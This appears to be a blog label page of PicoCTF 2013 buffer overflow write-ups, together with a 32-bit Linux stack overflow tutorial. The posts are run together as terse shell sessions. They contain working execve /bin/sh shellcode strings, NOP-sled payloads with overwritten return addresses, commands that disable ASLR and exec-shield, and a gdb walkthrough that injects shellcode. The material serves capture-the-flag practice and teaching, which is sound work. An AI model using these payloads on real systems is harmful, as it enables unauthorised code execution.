$cat buffer_overflow_shellcode.c$cat shellcode-ascii$./buffer_overflow_shellcode `python -c 'print "\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*42 + "\xa0\xd5\xff\xff"'`sh-4.2$cat key
Showing posts with label overflow. Show all posts
Showing posts with label overflow. Show all posts
# PicoCTF 2k13 - Overflow 4
# PicoCTF 2k13 - Overflow 3
$cat buffer_overflow.c$objdump -t buffer_overflow | grep shell$./buffer_overflow `python -c 'print "\x90"*76 + "\xf8\x85\x04\x08"'`sh-4.2$cat key
# PicoCTF 2k13 - Overflow 2
$cat stack_overwrite.c$./stack_overwrite `python -c 'print "\x90"*80 + "\x01"'`sh-4.2$cat key
# PicoCTF 2k13 - Overflow 1
$cat simple_overwrite.c$./simple_overwrite `python -c 'print "\x90"*64 + "\x01"'`sh-4.2$cat key
# Buffer overflow and arbitrary code execution (32-bit)
Disable protections
#echo '0' > /proc/sys/kernel/randomize_va_space#echo '0' > /proc/sys/kernel/exec-shield#echo '0' > /proc/sys/kernel/exec-shield-randomize
Vulnerable code
#cat vulnerable.c#gcc -g -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Arbitrary code execution
#gdb -q vulnerable(gdb)list 1,14(gdb)break 6(gdb)disassemble main0x08048490 (gdb)run wakamole(gdb)x /20x password0x08048490 (gdb)run `perl -e 'print "\x90"x16 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90\x90" . "\xb0\xf6\xff\xbf"x9'`(gdb)x /20x password0x08048490 (gdb)next(gdb)x /20x password0x90909090 0x90909090 0x90909090 0x90909090 0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0 (gdb)continue#exit
References
http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf
Subscribe to:
Posts (Atom)